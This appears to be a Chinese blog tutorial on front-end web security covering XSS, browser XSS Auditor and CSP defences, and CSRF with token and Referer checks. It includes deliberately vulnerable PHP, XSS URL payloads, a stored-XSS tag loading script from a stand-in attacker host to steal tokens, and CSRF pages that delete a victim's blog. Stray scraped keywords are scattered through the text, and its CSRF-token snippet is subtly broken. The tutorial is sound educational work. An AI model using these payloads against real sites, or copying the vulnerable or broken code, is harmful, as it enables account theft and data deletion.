Web前端攻防,一不當心就中招了

隨着各瀏覽器安全功能的提升,前端防護面臨的問題也沒有以前那麼複雜,但瀏覽器的防護措施並不能百分百的保證網站的安全。瀏覽器的XSS Auditor,使得反射型xss幾乎被廢;CSP(Content-Security-Policy)、X-XSS-Protection能夠禁止不可信源的腳本執行!無疑,這對xss攻擊是一記重拳。可是道高一尺,魔高一丈,尤爲是在安全界,永遠應該記住的一句箴言就是「只有相對的安全,沒有絕對的安全」。本文重點介紹現代瀏覽器的安全特性以及瀏覽器依然不能防護的攻擊手段。javascript

XSS

XSS攻擊:跨站腳本攻擊(Cross Site Scripting),爲不和 CSS混淆,故將跨站腳本攻擊縮寫爲XSS。php

爲何叫跨站腳本?簡單來講,就是在一個網站上運行了該網站以外的js腳本(固然,開發者自已引用的可信源的js不算,好比使用了cdn的 jQuery )。html

一個經典的例子

假設有一個搜索頁面,關鍵字以Get方法傳遞。假設,搜索頁面在輸出結果時會無過濾的將用戶的關鍵字回顯到網頁上,大體邏輯以下:前端

//xss.php
<?php  
if(isset($_REQUEST["wd"])) 
 $wd=$_REQUEST["wd"]; 
if($wd){
  echo "<div>關鍵字'$wd'搜索的結果以下:</div>"
} 
...
?>複製代碼

而後搜索請求的連接是:java

http://localhost/test/haker/xss.php?wd=<script>alert("xss")</script>複製代碼

或者爲了隱蔽編一下碼:es6

http://localhost/test/haker/xss.php?wd=ddd%3Cscript%3Ealert(%22%22)%3C/script%3E複製代碼

在es6下,你甚者能夠用unicode碼點。web

若是是在幾年前,你的瀏覽器大體都會彈出這樣一個窗口:chrome

alert

然而,如今不行了,在chrome和safari下,若是發現響應中包含請求參數中相同的代碼字符串,它們就會拒絕執行這些代碼,你會收到以下的錯誤提示:數據庫

The XSS Auditor refused to execute a script in 'http://localhost/test/haker/xss.php?wd=ddd%3Cscript%3Ealert(%22xss%22)%3C/script%3E' because its source code was found within the request. The auditor was enabled as the server sent neither an 'X-XSS-Protection' nor 'Content-Security-Policy' header.複製代碼

XSS Auditor

xss auditor是Chrome 和 Safari中內建的一個防護xss攻擊的功能模塊,至關於一個審計器,有預設規則,主要功能就是針對上述這種狀況。此功能默認是開啓的,固然也能夠關閉,須要在response header中顯式指定:瀏覽器

//關閉 xss auditor
X-XSS-Protection: 0複製代碼

固然,更強大的是,觸發後還能夠將詳情上報,便於分析跟蹤:

X-XSS-Protection: 1; report=http://example.com/your_report_URI複製代碼

也可使用block模式:一旦觸發,當前頁面就會終止,並同時展現一個空白頁面給用戶:

X-XSS-Protection: 1; mode=block複製代碼

若是將請求換成post,xss auditor還會被觸發嗎?答案是:能夠!

XSS Auditor的缺點

咱們將後臺邏輯改一下,給每一個">"後加一個分號。

<?php  
if(isset($_REQUEST["wd"])) 
 $wd=str_replace(">",">;",$_REQUEST["wd"]); 
if($wd){
  echo "<div>關鍵字'$wd'搜索的結果以下:</div>"
} 
?>複製代碼

而後依然是以前的連接,刷新:

alert

成功了,固然本例只是一個說明,一般狀況下,咱們都會對用戶提交的數據進行一些處理,若是這些處理致使和提交的內容不同了,可是仍然能夠執行,好比像本例同樣。那麼xss auditor 就無能爲力了。不過xss auditor自己的智能度也挺高,像字符編碼,大小寫變化這種變化依然躲不過xss auditor。

存儲型xss

好比網站有個留言板功能,但後臺未對用戶輸入進行過濾,攻擊者能夠在留言編輯框中輸入:

<script src="http://www.hacker.org/xss.payload.js"></script>複製代碼

而後再隨便輸入點其它文字,提交留言,提交成功後,內容將會被保存到服務器數據庫,只要再訪問留言列表,這個就會被插入到網頁中,xss.payload.js中的代碼就能夠執行,若是訪問的用戶都是已登陸用戶,xss.payload.js能夠獲取老瀏覽用戶的信息,如的登陸token、用戶的我的資料等,payload甚至能夠拉一個全家桶下來。之前的防護手段主要是對用戶輸入進行過濾如:去除html標籤,實體化,關鍵字過濾等等,這樣一來,最終的結果就是後臺的大多數代碼都是在作字符串驗證,很是的讓人不舒服。因此W3 org引入了CSP:

Content-Security-Policy

Content-Security-Policy 是W3 org草案,主要是用來定義頁面能夠加載哪些資源,減小 XSS 的發生,chrome已經支持,詳情能夠參考 Chrome CSP 官方文檔。這樣一來,從源頭上杜絕了不可信源的xss payload加載的可能型。好比下面的配置只容許加載本域下的腳本:

Content-Security-Policy: default-src 'self'複製代碼

這樣即便頁面被注入了外部腳本,瀏覽器也會拒絕執行,你會收到以下的錯誤提示:

Refused to load the script 'http://www.hacker.org/xss.payload.js' because it violates the following Content Security Policy directive: "default-src 'self'". Note that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.複製代碼

固然,CSP能指定的規則是不少的,甚至也能夠禁止內聯腳本執行,詳情請移步 W3 CSP。 瀏覽器的支持狀況請移步 Can I use Content Security Policy

CSRF

複製一段百度的介紹:CSRF(Cross-site request forgery跨站請求僞造,也被稱爲「One Click Attack」或者Session Riding,一般縮寫爲CSRF或者XSRF,是一種對網站的惡意利用。儘管聽起來像跨站腳本(XSS),但它與XSS很是不一樣,而且攻擊方式幾乎相左。XSS利用站點內的信任用戶,而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊每每不大流行(所以對其進行防範的資源也至關稀少)和難以防範,因此被認爲比XSS更具危險性。

CSRF攻擊流程

  1. 用戶登陸受信任網站A。
  2. 在不退出 A的狀況下,訪問危險網站B(攻擊者網站或攻擊者掛馬的網站)。

舉個例子,假設A網站是個博客網站,用戶登陸以後能夠刪除本身的博客,刪除的連接以下:

http://www.a.com/resource/delete/{blogid}複製代碼

先看看後臺登陸邏輯:用戶登陸成功後,建立session,而後將session id經過cookie傳給瀏覽器,這樣即可以跟蹤用戶登陸狀態,之後全部的操做都是登陸態的操做。刪除博客時後臺的邏輯是這樣的:刪除以前,先檢驗用戶身份,若是身份校驗經過則刪除,若是未登陸,則重定向到登陸頁面。

假設攻擊者在這篇博客下面評論以下:

「hi 你好,讀了你的博客很受益,我有一個問題,請大牛解惑,連接是b,多謝️!」

看了這條評論後,你心裏很知足,因而決定指導一下這位粉絲,你點了連接,回答了問題,自信滿滿地返回到本身的博客,而後忽然發現 「博客找不到了」! 怪哉,why? 中招了!

問題就在你剛纔訪問過的網頁。假設你的博客id=8, b網頁內容大體以下:

<html>
 ...
 <img src='http://www.a.com/resource/delete/8'/>

 ...
<html>複製代碼

網頁中img src正是刪除你的博客連接,或許你會說,後臺不是有身份認證麼?是的,後臺的確有身份認證,但此時訪問b,你並無退出登陸,而此時b中瀏覽器又發起了 www.a.com/resource/de… 請求(同時會發送該域下的cookie),這樣一來,後臺用戶認證會經過,因此刪除會成功。ps:是否是之後能夠用這招去刪帖了。。。

若是是post請求呢?

<html>
 ...
 <form method="post" action="http://www.a.com/resource/delete/">
   <input type="hidden" name=id value=8>
 </form>
 <script> $("form").submit() </script>
 ...
<html>複製代碼

在b頁面中,製造一個表單,而後直接觸發提交,依然能夠!

CSRF攻擊防護

隨機值法

後臺對每一次請求都生成一個隨機值,保存在session中,而後再將該值發送給頁面,能夠在cookie中,也能夠在一個隱藏的表單中(大多數後臺框架都是這麼作的,如php的symfony、laraval),甚至也能夠是在驗證碼中。下面以表單爲例來講明:

<?php $hash = random(100000); ?>
<form method="post" action="delete/">
<input type="id" name="8">
<input type="hidden" name="hash" value="<?php $hash; ?>">
<input type="submit" value="Submit">
</form>複製代碼

而後提交時,服務端再對比hash值是否是和session中同樣。 攻擊者網站時沒法預估這個hash的。可是請注意,在上面所述的攻擊場景中,把hash存在cookie中時不行的。

檢測refer

後臺在進行刪除操做以前先判斷refer,若是不是本域的請求,則直接拒絕,這種作法頗有效。可是,想一想這樣一個場景:若是博客容許評論裏面插圖,攻擊者徹底能夠將 img插入到原網站中,這樣refer仍是在當下域名,博客依然會被刪除。全部可能引入連接的html標籤都是不可信的,如script、link,後臺過濾策略必定要考慮到。

總結

其實能夠看到,上面的攻擊雖然說現場是在前端,可是本質仍是服務端驗證不足、過濾不全致使。對於前端來講,防護所作的事有限,可是站在攻擊者角度來說,又必需精通前端。今天只是web滲透的皮毛,若是你們有興趣,能夠在評論中留言,之後也能夠多分享一些服務器滲透、操做系統安全方面的,固然根據期待度以及個人時間而定。

最後: 剛開博客,求關注、求贊!

相關文章
相關標籤/搜索